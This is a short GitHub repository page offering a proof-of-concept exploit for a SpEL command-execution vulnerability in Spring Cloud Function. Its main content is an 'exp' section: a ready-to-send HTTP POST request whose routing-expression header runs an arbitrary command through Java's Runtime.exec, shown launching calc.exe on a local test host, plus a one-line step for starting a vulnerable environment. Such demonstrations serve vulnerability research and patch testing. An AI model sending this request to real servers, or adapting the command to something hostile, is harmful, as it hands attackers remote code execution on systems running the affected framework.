Skip to content

tangxiaofeng7/Spring-Cloud-Function-Spel

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Spring-Cloud-Function-Spel命令执行漏洞

environment:jdk17

start:

mvn spring-boot:run

exp:

POST /spring HTTP/1.1
Host: 192.168.0.104:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


img.png

About

Spring Cloud Function Spel命令执行漏洞

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages